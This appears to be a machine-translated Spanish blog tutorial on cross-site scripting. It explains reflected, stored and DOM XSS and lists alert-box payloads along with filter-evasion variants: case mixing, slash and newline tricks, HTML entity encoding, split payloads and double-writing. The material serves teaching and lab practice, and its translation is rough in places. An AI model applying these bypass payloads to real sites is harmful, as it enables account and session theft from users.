Principio y uso de XSS (cross-site scripting attack)

Tabla de contenido

1. Principio XSS

2. Peligros XSS

3. Descarga del entorno de prueba XSS

Cuatro. Clasificación XSS

1. XSS reflectante

2. XSS almacenado

3. DOM tipo XSS

Cinco. La estructura de xss

1. Use <> para construir HTML / JS

2. Pseudo Acuerdo

3. Genere su propio evento (evento html)

4. Otras etiquetas y técnicas

6. Deformación XSS (debe solicitar entrevista)

1. Conversión de casos

2. Uso de comillas

3. / en lugar de espacios

4. Ingrese

5. Transcodificar valores de atributos de etiquetas

6. Dividir entre sitios

7. Filtro simple de derivación de escritura doble

Siete. Defensa XSS

8. Desafío XSS


1. Principio XSS

       XSS se denomina Cross-site scripting, que debería haberse abreviado como CSS, pero debido al mismo nombre que CSS (Hojas de estilo en cascada), se le cambió el nombre a XSS. XSS se basa principalmente en js para completar ataques maliciosos. Js puede operar html, css y navegadores de manera muy flexible.

        XSS inyecta el código construido (JS) en la página web, y el navegador interpreta y ejecuta este código JS para lograr el efecto de un ataque malicioso. Cuando el usuario visita la página web inyectada por el script XSS, se extraerá el script XSS. El navegador del usuario analizará este código XSS, lo que significa que el usuario ha sido atacado. La acción más simple para el usuario es usar el navegador para navegar por Internet, y hay un intérprete de javascript en el navegador, que puede analizar javascript, pero el navegador no juzgará si el código es malicioso. En otras palabras, los objetos de XSS son usuarios y navegadores.

2. Peligros XSS

  • Robar varias cuentas de usuario   
  • Robar información de cookies del usuario, hacerse pasar por un usuario e ingresar al sitio web
  • Secuestrar sesiones de usuario y realizar operaciones arbitrarias  
  • Cepille el tráfico, ejecute anuncios emergentes
  • Propaga gusanos

3. Descarga del entorno de prueba XSS

A través de este entorno de práctica, entenderemos XSS, la dirección de descarga, xss_test  , después de la descarga, se puede acceder colocándolo en el directorio raíz del sitio web.

Cuatro. Clasificación XSS

1. XSS reflectante

       XSS reflejado es una secuencia de comandos de sitios cruzados paramétrica no persistente. El código JS del XSS reflectante está en los parámetros (variables) de la aplicación web, como el XSS reflectante del cuadro de búsqueda. Dado que el contenido que ingresamos se enviará a la página web tal como está, podemos sospechar si hay un xss reflectante.
       Por ejemplo, en el cuadro de búsqueda, enviamos el número 2323 junto con el formulario, interceptamos el paquete de datos y descubrimos que los datos 2323 se enviaron a xss.php y los datos 2323 enviados se enviaron a la página web tal como están. Continúe verificando el código fuente de xss.php.

En el código fuente de xss.php, encontramos que la declaración que enviamos se envió a la página web tal como está, y se usó el lenguaje de PhP. Luego pensamos que la entrada se envió a la página web sin filtrar. Luego podemos enviar el código JS,

Envíe una cadena de código JS emergente, como se indica a continuación, <script> alert (/ xss /) </script>. El programa ejecuta automáticamente la operación emergente cuando encuentra el código js, ​​lo que conduce a la aparición de XSS reflectante

¡Este es el XSS reflectante!

2. XSS almacenado

       El XSS almacenado es una secuencia de comandos persistente entre sitios. La persistencia se refleja en el hecho de que el código XSS no está en un determinado parámetro (variable), sino que está escrito en un medio que puede almacenar datos de forma permanente, como una base de datos o un archivo. El XSS almacenado generalmente ocurre en lugares como tableros de mensajes, donde deja un mensaje en la ubicación del tablero de mensajes y escribe código malicioso en la base de datos.

       Si hay un xss almacenado en el tablero de mensajes, inyectamos el código js. En este momento, solo hemos completado el primer paso, escribir el código malicioso en la base de datos. Debido al código JS utilizado por XSS, el entorno de ejecución del código JS es el navegador, por lo que el navegador necesita cargar el código XSS malicioso desde el servidor para activar el XSS (código de ejecución). En este punto, necesitamos simular la identidad del administrador de backend del sitio web para verificar el mensaje.

3. DOM tipo XSS

       dom es el modelo de objeto de documento. La carga útil del ataque modifica el árbol DOM de la página del navegador de la víctima. Su lugar especial es que la carga útil se ejecuta modificando el árbol DOM localmente en el navegador y no se transmitirá al servidor, lo que hace que DOM XSS sea más difícil de detectar.

      Ingrese DOM tipo XSS

Significa interceptar los caracteres después de "message =" y enviarlos a la página web.

Enviar datos? Mensaje = 2021, el navegador muestra los datos que enviamos

Verifique el código fuente en este momento, el código fuente no ha cambiado, y luego verifique el elemento, con los datos que enviamos, verificando que el ataque XSS tipo dom mencionado anteriormente es el árbol DOM de la página del navegador de la víctima.

Lo mismo puede enviar código js

Cinco. La estructura de xss

1. Use <> para construir HTML / JS

Construir etiquetas js

<script>alert(/xss/)</script>

2. Pseudo Acuerdo

javascript: js代码       伪协议的方式构造XSS

Puede poner el pseudo protocolo en el hipervínculo del html

<a href="javascript:alert(/xss/)">touch me!</a>   #点击超链接,即可触发XSS。

3. Genere su propio evento (evento html)

       "Impulsado por eventos" es una idea de programación relativamente clásica. Muchos eventos (como el movimiento del mouse, la entrada del teclado, etc.) ocurren en la página web y JS puede responder a estos eventos. Entonces podemos activar funciones JS y XSS a través de eventos.

单击事件
<input type="button" onclick ="alert(/xss/)" value="点我! "> 
双击事件
<input type="button" ondblclick="alert(/xss/)" value="双击666">
悬停
<img src='./smile.jpg' onmouseover='alert(/xss/)'>
图片载入失败弹窗
<img src='#' onerror="alert(/xss/)">
按下键盘触发
<input type="text" onkeydown="alert(/xss/)">     

 

4. Otras etiquetas y técnicas

También podemos usar otras etiquetas para activar XSS.

点击提交就弹窗
<svg onload="alert(/xss/)">   #svg是html5中新出的标签,也是一个事件
焦点  自动聚焦  
<input onfocus=alert(/xss/) autofocus>  #鼠标自动聚焦到这个标签然后进行弹窗

6. Deformación XSS (debe solicitar entrevista)

Algunas páginas web filtran el XSS, pero podemos evitar la detección del filtro deformando el XSS.

1. Conversión de casos

La carga útil se convierte en mayúsculas y minúsculas. Como en los dos ejemplos siguientes.

<Img sRc='#' Onerror="alert(/xss/)"/> 
#alert是js语,所以只能转换img和src 
<A hREf="javaScript:alert(/xss/)">click me</A>

Podemos enviar estas dos declaraciones para su prueba.

2. Uso de comillas

El lenguaje HTML no es sensible al uso de comillas. Se pueden usar comillas dobles, comillas simples o sin comillas para html

<img src="#" onerror="alert(/xss/)"/>
<img src='#' onerror='alert(/xss/)'/>
<img src=# onerror=alert(/xss/) />

3. / en lugar de espacios

Puedes usar barras inclinadas a la izquierda en lugar de espacios

<Img/sRc='#'/Onerror='alert(/xss/)' />  #alert(/xss/)使用斜线是为了尽量避免单引号的使用
<Img/sRc='#'/Onerror=alert('xss') />
<Img/sRc='#'/Onerror='alert(/AJEST/)' />

4. Ingrese

Puede agregar Tab (pestañas horizontales) y retornos de carro en algunos lugares para omitir la detección de palabras clave.

<A hREf="j
avas
c
r
i
p
t:alert(/xss/)">click me!</a>

 

5. Transcodificar valores de atributos de etiquetas

 

Transcodifique el valor del atributo de etiqueta para omitir el filtrado. El código correspondiente es el siguiente

Letra Código ASCII Código decimal Código hexadecimal

un punto y coma 97 & # 97; & # x61; representa el final de la codificación

e 101 & # 101; & # x65;

 

 

Por ejemplo, codifique el valor del atributo de etiqueta de <A hREf="javaScript:alert(/xss/)"> haga clic en mí </A> y codifique a en decimal & # 97; y codificación hexadecimal & # x61; de la siguiente manera

<A hREf="j a v a Script:alert(/xss/)"> haz clic en mí </A>

Haga clic en, la misma ventana emergente

Además, también podemos insertar caracteres de control como retorno de carro, salto de línea y tabulación horizontal en el código.

Para conocer el significado de los caracteres de control en ASCII, consulte https://blog.csdn.net/sxdtzhp/article/details/50993571

 

Tabulador & # 9;

Salto de línea & # 10;

Retorno de carro & # 13;

SOH & # 01; (El carácter de control en ASCI. SOH es el comienzo del encabezado, que representa el comienzo del título, opcional, no tiene ningún efecto, solo el comienzo del flujo de datos)

STX & # 02 # Comienzo del texto

 

 

 

Cómo se ve después de la codificación

<A hREf="&#01;j&#10;&#97;v&#x61;s&#9;c&#10;r&#13;ipt:alert(/xss/)">click me!</a>

 

 

6. Dividir entre sitios

La idea central es acortar una declaración JS relativamente larga dividiéndola en sitios. Luego envíelos por separado. Por ejemplo, use <script> alert (/ xss /) </script> para diferenciales entre sitios

	HTML~~~~~~~~~~~~`
    <script>z='alert'</script>      #第一次提交
	HTML~~~~~~~~~~~~`     	   
    <script>z=z+'(/xss/)'</script>  #第二次提交
	HTML~~~~~~~~~~~~`
    <script>eval(z)</script>        #第三次提交

Puede dejar un mensaje tres veces.Cuando estos tres mensajes se cargan en la misma página al mismo tiempo, se desencadena un ataque XSS.

7. Filtro simple de derivación de escritura doble

Si filtra un carácter una vez, puede utilizar la escritura doble para omitirlo. Si el programa filtra la palabra clave <script>, entonces podemos construir <sc <script> ript> para omitir el filtro único.

Siete. Defensa XSS

1) Interfaz, lado del servidor, limite la longitud de la entrada de cadena.
2) Procesamiento de escape de HTML de front-end, del lado del servidor. Escape y codifique caracteres especiales como "<", ">". Reemplace los caracteres con las entidades HTML correspondientes
. El núcleo de anti-XSS es filtrar los datos de entrada.

3) La estrategia de lista en blanco y negro, ya sea que utilice filtrado de entrada o codificación de salida, es un filtrado de lista blanca y negra para la información de datos.

8. Desafío XSS

 

Pase el desafío del combate real, portal- " desafío XSS del desafío xss

 

 

——Corazón, si no hay un lugar para vivir, estará vagando por todas partes

 

Supongo que te gusta

Origin blog.csdn.net/qq_44159028/article/details/114652489
Recomendado
Clasificación